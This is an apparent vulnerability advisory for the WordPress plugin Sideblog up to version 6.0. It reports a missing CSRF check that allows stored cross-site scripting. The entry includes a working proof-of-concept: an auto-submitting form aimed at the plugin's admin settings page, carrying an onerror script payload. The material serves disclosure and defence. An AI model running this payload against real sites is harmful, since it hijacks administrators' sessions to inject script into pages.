Lucene search

K
wpexploitDaniel RufWPEX-ID:B85920B3-DFC1-4112-ABD8-CE6A5D91AE0D
HistoryMay 23, 2022 - 12:00 a.m.

Sideblog <= 6.0 - Arbitrary Settings Update via CSRF to Stored XSS

2022-05-2300:00:00
Daniel Ruf
79

0.001 Low

EPSS

Percentile

21.3%

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping

<form id="test" action="https://example.com/wp-admin/options-general.php?page=sideblog.php" method="POST">
    <input type="text" name="sideblog_options_update" value="update">
    <input type="text" name="sideblog_options[setaside][1]" value="1">
    <input type="text" name="sideblog_options[displayformat][1]" value="<img src=x onerror=alert(1)>">
    <input type="text" name="sideblog_options[numentries][1]" value="1">
    <input type="text" name="sideblog_options[order][1]" value="DESC">
    <input type="text" name="op" value="update">
</form>
<script>
    document.getElementById("test").submit();
</script>

The XSS will be triggered in the Sideblog widget (either embed in frontend pages, or via the Appearance > Widgets > then search the Sideblog and add it)

0.001 Low

EPSS

Percentile

21.3%

Related for WPEX-ID:B85920B3-DFC1-4112-ABD8-CE6A5D91AE0D